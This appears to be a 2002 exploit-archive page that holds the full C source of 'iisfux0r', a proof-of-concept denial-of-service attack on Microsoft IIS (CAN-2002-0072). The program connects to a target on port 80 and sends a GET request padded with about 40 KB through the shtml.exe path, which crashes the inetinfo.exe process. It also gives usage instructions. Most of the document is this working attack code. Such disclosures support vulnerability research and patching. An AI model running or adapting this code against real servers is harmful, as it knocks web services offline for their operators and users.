what you don't know can hurt you

iisfux0r.txt

iisfux0r.txt
Posted Apr 23, 2002
Authored by Filip Maertens | Site filip.compsec.be

Microsoft IIS W3SVC Denial of Service - Brings down the inetinfo.exe process, crashing IIS.

tags | exploit, denial of service
MD5 | 187ee85dc854e518c0b386d561dd3a33

iisfux0r.txt

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/* iisfux0r.c - Microsoft IIS W3SVC Denial of Service, (c) Filip Maertens - PoC

BUG-ID : 2002009
CVE : CAN-2002-0072
Advisory : Peter Grundle @ KPMG
Dave Aitel @ AtStake

** This will bring down the Inetinfo.exe process, in which you create a Denial of Service
condition on your webserver. Please, confirm with management prior to executing this
proof of concept code. The author of this code, nor Peter Grundle and Dave Aitel can
be helt responsible for disclosing this vulnerability.

** Example usage: RH-BOX# iisfux0r localhost /

*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <unistd.h>
#include <string.h>

#define DENIALSIZE 40 * 1024
#define URLSEQUENCE "_vti_bin/shtml.exe/"

int main(int argc, char *argv[])
{

struct sockaddr_in sin;
char denialchar[DENIALSIZE + 100];
int i, create_socket;

printf("iisfux0r | Microsoft IIS W3SVC/FP2002 Denial of Service | <filip@securax.be>\n----------------------------------------------------------------------------\n");

if (argc < 3)
{
printf(" -- Usage: iisfux0r [ip] [directory]\n");
exit(0);
}


// Create the sockets

if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
printf(" -- Socket created.\n");

sin.sin_family = AF_INET;
sin.sin_port = htons(80);
sin.sin_addr.s_addr = inet_addr(argv[1]);

if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
printf(" -- Connection made.\n");
else
{ printf(" -- No connection.\n"); exit(1); }


// Create the Denial of Service payload

printf(" -- Crafting payload.\n");
strcat(denialchar, "GET ");
strcat(denialchar, argv[2]);
strcat(denialchar, URLSEQUENCE);
for(i=0; i < DENIALSIZE; i++)
{
strcat(denialchar, "x");
}
strcat(denialchar, ".html");
strcat(denialchar, " HTTP/1.0\n\n");


send(create_socket, denialchar, sizeof(denialchar), 0);
close(create_socket);

}

// EOF - More exploits @ http://filip.compsec.be

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